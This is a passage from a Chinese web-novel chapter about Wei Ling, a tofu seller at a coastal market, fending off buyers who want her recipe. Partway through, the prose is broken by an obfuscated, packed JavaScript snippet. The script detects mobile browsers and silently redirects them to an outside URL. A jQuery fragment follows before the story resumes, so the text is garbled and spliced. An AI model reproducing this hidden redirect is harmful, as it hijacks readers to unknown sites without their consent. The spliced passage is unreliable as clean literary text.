徐子烈点头，表示知道了，接着他低下头继续认真干饭。 咽下嘴里的食物，卫菱动了动嘴唇，像是要说些什么。 但她看着徐子烈这副饿死鬼投胎的吃相，到底随着食物一同咽进了肚子里。 唉！ 卫菱摇摇头。 她竟然还动了让这个头脑简单、四肢发达的家伙给她出出主意！ 她大抵是疯了！ ========= 清晨，卫菱打着哈欠，泪眼朦胧地起身。 歇的时候，她天天到这个时辰就醒。该干活的时候，反而起床困难。 她又打了个哈欠，坐在床边缓了一下。 指尖碰到冰冷的水时，卫菱瞬间清醒。 等她有钱的！ 她要天天用温水洗脸！ 牛棚里的徐子烈睡得那叫一个香！看得卫菱直恼火。 她毫不客气，朝着徐子烈的腿狠狠踢了一脚。 “起床了！” 有了壮丁，卫菱还是头一次不用自己推磨。 她磨眼儿里加了些泡软的豆子，恶狠狠道：“没吃饭啊！快点推！” 徐子烈哈欠打了一半，泪水包在眼睛里，瞧着更像个小白脸了。 他听了卫菱的话后，更委屈了！ 他可不就是没吃饭吗！ 虽然徐子烈吃得多，但干活也是一头好骡子。 卫菱瞧过铜漏，比她自己推磨省了近半个时辰呢！ 她不动声色，掩饰住上扬的嘴角，催促徐子烈将原浆用吊起来的布兜过滤。 经过上一次的豆子危机，她现在可舍不得扔一点豆渣！ 但这东西也保存不久，卫菱琢磨着，要不把它做成丸子，这样能放久一点。 但当徐子烈的手闯入她的视线后，想到自家油坛子里少下去的那一大截，她摇摇头，赶紧否定自己的想法。 舍不得，舍不得一点！ 自己的劳动成果就是香。 徐子烈捧着碗，足足喝了两大碗豆浆，看得卫菱心惊肉跳，生怕他把自己给撑死。 昨晚的韭菜盒子被卫菱用炉灶边的余温烤过，虽然不如昨晚刚做好时酥脆，但微软的柔韧面皮同样美味。 韭菜味儿重，残留在口腔里久久不散。 卫菱一个劲儿地漱口，确保嘴里没有异味后，才推车去城里卖豆腐。 粟米粥、麦饼、豆饭团蘸鱼酱、盐渍野菜、热汤…… 卫菱的视线一路瞧过，昨晚蠢蠢欲动的想法又开始往外涌。 受限于烹饪条件，集市早餐以冷食、简食为主。购买的百姓也多是从事体力工作的劳动者。 她正琢磨着，没想到在路上遇到了乔疱人。 “小卫女早啊！” “早！”卫菱笑着回应。 卫菱支摊子的时候，在心里腹诽。 昨天，她分明跟这个老狐狸说好了，给她三日时间考虑卖方子的事情，她可不信这么早乔疱人是来买豆腐的。 “先来碗豆浆，然后要一整版的豆腐。” 一整板！ 卫菱震惊住。 她多准备了些豆子，也就做了三板豆腐。原想着，卖不完回家做些咸豆干的，结果刚到摊位就售出三分之一。 “哦哦，好嘞！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504842|170322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她眨眨眼，赶紧忙活起来，给乔疱人装了碗豆浆，招呼他坐着喝。 乔疱人带了徒弟来，两个人一人一头，端着豆腐就往水为乡走。 “小卫女，稍后我们就把模具给您送回来。” “诶，好！” 卫菱应了一声，头都没回，就忙着给客人盛豆浆。 乔疱人小口抿着，不动声色打量着来光顾摊位的人群。 此时此刻，是卖热豆浆的高峰期。大多是在码头做工的壮汉买来解渴的。 乔疱人鼻尖耸动，闻到了那些汉子身上的汗馊味和海腥味。 他放下还剩半碗的豆浆，朝卫菱喊了一声，捂着鼻子赶忙走了。 卫菱忙得恨不得长出三头六臂，压根没听见。 等注意到的时候，早便没了人影。 她收拾好用过的碗，摞在板车的盆里，跟干净的区分开来。 看着剩下的白花花的豆浆，卫菱紧紧皱着眉头。 真是浪费！ 她叹了口气，无奈地把乔疱人剩的豆浆撒到了地上。 “嘶~！小卫女这是发达了？” 卫菱扭头，眉毛拧的更紧了。 还真是有默契啊！ 她看着王富，心里想，难不成他也是来买豆腐的？ 王富往地上瞧了一眼，道：“小卫女，来六块豆腐。” 呦！ 还真是！ 卫菱从王富小厮那接过盆，往里装。 王富见缝插针，往前凑近一步，开始攀谈：“小卫女考虑地怎么样？” 卫菱头都没抬，“还没想好，昨日不是说好三天后给答复吗？王大叔是特意来催我的啊？” “怎么会，”王富摸了把下巴上的胡子，一脸精明的伪笑。 “我家夫人想吃小卫女卖的豆腐，我这才来的，小卫女慢慢考虑，我还有事在身，先告辞啦？” “慢走。” 卫菱给王富回了一礼，目送他离开。 一个两个的，竟然对她的豆腐虎视眈眈的！ “哼！” 卫菱冷笑，豆腐还成了金疙瘩了！ 尽管货备得比往日足，但是豆浆在上午就售光了。 中午来买豆腐的人少。趁着这个空隙，卫菱给旁边卖野菜的大娘递了块豆腐，麻烦她帮忙照看下摊位。 得了便宜，大娘欣然同意，拍着胸脯跟卫菱打包票。 卫菱从车上拿出用苇叶包着的韭菜盒子顺着集市随便溜达。 跟朝食比起来，午饭仅仅多了些烤羊、肉羹之类的需要加热类食物。 卫菱站在烤全羊的摊子前，咬了一口手里的韭菜盒子，这肉……阿不，这韭菜盒子真香啊！ 她吸饱了羊肉的肉香，才恋恋不舍地继续走。 齐国临海，市面上海鱼比蔬菜更为常见。 但是鱼虾类的海鲜却很少。 一来是肉少，二来是难处理。 但是鱼肉也不是家家户户都能吃得起的。卖鱼的摊子，咸鱼干比鲜鱼的量能多出近一倍。 最后一口韭菜盒子吃完，卫菱也逛得差不多了。 她抬头看了眼水为乡的招牌，忽然想到一个事情。 她不认字啊！ 就算要卖方子，她总得先找个识字的帮她把口述转换为文字才成啊！